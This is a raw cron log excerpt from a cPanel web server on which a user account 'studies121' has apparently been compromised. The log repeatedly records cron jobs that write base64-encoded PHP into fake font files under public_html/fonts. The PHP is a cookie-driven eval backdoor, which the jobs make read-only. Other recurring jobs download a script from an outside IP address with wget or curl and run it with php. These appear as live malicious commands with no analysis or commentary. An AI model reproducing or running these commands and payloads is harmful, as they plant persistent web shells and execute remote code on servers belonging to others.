Sep  9 12:50:01 ip-184-168-122-23 CROND[20138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:50:01 ip-184-168-122-23 CROND[20139]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 12:50:01 ip-184-168-122-23 CROND[20140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:51:01 ip-184-168-122-23 CROND[20312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:51:01 ip-184-168-122-23 CROND[20313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:51:01 ip-184-168-122-23 CROND[20315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:51:01 ip-184-168-122-23 CROND[20316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:52:01 ip-184-168-122-23 CROND[20411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:52:01 ip-184-168-122-23 CROND[20412]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:52:01 ip-184-168-122-23 CROND[20414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:52:01 ip-184-168-122-23 CROND[20415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:52:01 ip-184-168-122-23 CROND[20416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:53:01 ip-184-168-122-23 CROND[20553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:53:01 ip-184-168-122-23 CROND[20554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:53:01 ip-184-168-122-23 CROND[20556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:53:01 ip-184-168-122-23 CROND[20557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:54:01 ip-184-168-122-23 CROND[20674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:54:01 ip-184-168-122-23 CROND[20673]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:54:01 ip-184-168-122-23 CROND[20678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:54:01 ip-184-168-122-23 CROND[20679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:54:01 ip-184-168-122-23 CROND[20680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:55:02 ip-184-168-122-23 CROND[20896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:55:02 ip-184-168-122-23 CROND[20901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:55:02 ip-184-168-122-23 CROND[20902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:55:02 ip-184-168-122-23 CROND[20900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:55:02 ip-184-168-122-23 CROND[20905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:55:02 ip-184-168-122-23 CROND[20903]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:56:02 ip-184-168-122-23 CROND[21023]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:56:02 ip-184-168-122-23 CROND[21025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:56:02 ip-184-168-122-23 CROND[21027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:56:02 ip-184-168-122-23 CROND[21026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:56:02 ip-184-168-122-23 CROND[21028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:57:01 ip-184-168-122-23 CROND[21116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:57:01 ip-184-168-122-23 CROND[21119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:57:01 ip-184-168-122-23 CROND[21118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:57:01 ip-184-168-122-23 CROND[21120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:58:01 ip-184-168-122-23 CROND[21222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:58:01 ip-184-168-122-23 CROND[21221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:58:01 ip-184-168-122-23 CROND[21226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:58:01 ip-184-168-122-23 CROND[21225]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:58:01 ip-184-168-122-23 CROND[21227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:59:01 ip-184-168-122-23 CROND[21345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:59:01 ip-184-168-122-23 CROND[21348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:59:01 ip-184-168-122-23 CROND[21347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:59:01 ip-184-168-122-23 CROND[21349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:00:01 ip-184-168-122-23 CROND[21488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:00:01 ip-184-168-122-23 CROND[21490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:00:01 ip-184-168-122-23 CROND[21491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:00:01 ip-184-168-122-23 CROND[21492]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:00:01 ip-184-168-122-23 CROND[21495]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 13:00:01 ip-184-168-122-23 CROND[21493]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:00:01 ip-184-168-122-23 CROND[21496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:00:01 ip-184-168-122-23 CROND[21497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:01:01 ip-184-168-122-23 CROND[21687]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 13:01:01 ip-184-168-122-23 CROND[21688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:01:01 ip-184-168-122-23 CROND[21689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:01:01 ip-184-168-122-23 CROND[21692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:01:01 ip-184-168-122-23 CROND[21694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:01:01 ip-184-168-122-23 CROND[21695]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21695]: starting 0anacron
Sep  9 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21709]: finished 0anacron
Sep  9 13:02:01 ip-184-168-122-23 CROND[21830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:02:01 ip-184-168-122-23 CROND[21835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:02:01 ip-184-168-122-23 CROND[21833]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
